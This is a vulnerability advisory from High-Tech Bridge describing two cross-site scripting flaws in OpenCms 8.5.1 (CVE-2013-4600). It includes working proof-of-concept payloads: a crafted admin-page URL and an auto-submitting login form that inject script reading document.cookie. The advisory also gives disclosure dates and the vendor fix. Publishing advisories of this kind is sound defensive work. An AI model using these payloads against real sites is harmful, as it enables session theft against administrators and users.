OpenCMS 8.5.1 Cross Site Scripting

`Advisory ID: HTB23160  
Product: OpenCms  
Vendor: Alkacon Software  
Vulnerable Version(s): 8.5.1 and probably prior  
Tested Version: 8.5.1  
Vendor Notification: June 12, 2013   
Vendor Patch: July 10, 2013   
Public Disclosure: July 17, 2013   
Vulnerability Type: Cross-Site Scripting [CWE-79]  
CVE Reference: CVE-2013-4600  
Risk Level: Medium   
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)  
Solution Status: Fixed by Vendor  
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )   
  
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Advisory Details:  
  
High-Tech Bridge Security Research Lab discovered 2 XSS vulnerabilities in OpenCms, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.   
  
  
1) Multiple Cross-Site Scripting (XSS) in OpenCms: CVE-2013-4600  
  
1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data in "title" HTTP GET parameter passed to "/opencms/opencms/system/workplace/views/admin/admin-main.jsp" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.  
  
The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:  
  
http://[host]/opencms/opencms/system/workplace/views/admin/admin-main.jsp?action=&dialogtype=publishproject&framename=body&title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
  
1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data in "requestedResource" HTTP POST parameter passed to "/opencms/opencms/system/login/index.html" URL. A remote attacker can trick a logged-in user to open a specially crafted malicious webpage and execute arbitrary HTML and script code in browser in context of the vulnerable website.  
  
The exploitation example below uses the "alert()" JavaScript function to display user's cookies:  
  
  
<form action="http://[host]/opencms/opencms/system/login/index.html" method="post" name="main">  
<input type="hidden" name="login" value="true">  
<input type="hidden" name="ocPword" value="1">  
<input type="hidden" name="ocUname" value="1">  
<input type="hidden" name="requestedResource" value='</script><script>alert(document.cookie);</script>'>  
<input type="submit" id="btn">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
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Solution:  
  
Upgrade to OpenCms 8.5.2  
  
More Information:  
http://www.opencms.org/en/news/130710-opencms-v852-releasenotes.html  
https://github.com/alkacon/opencms-core/issues/173  
  
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References:  
  
[1] High-Tech Bridge Advisory HTB23160 - https://www.htbridge.com/advisory/HTB23160 - XSS vulnerabilities in OpenCms.  
[2] OpenCms - http://www.opencms.org - OpenCms from Alkacon Software is a professional, easy to use website content management system.  
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.  
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.   
  
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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.  
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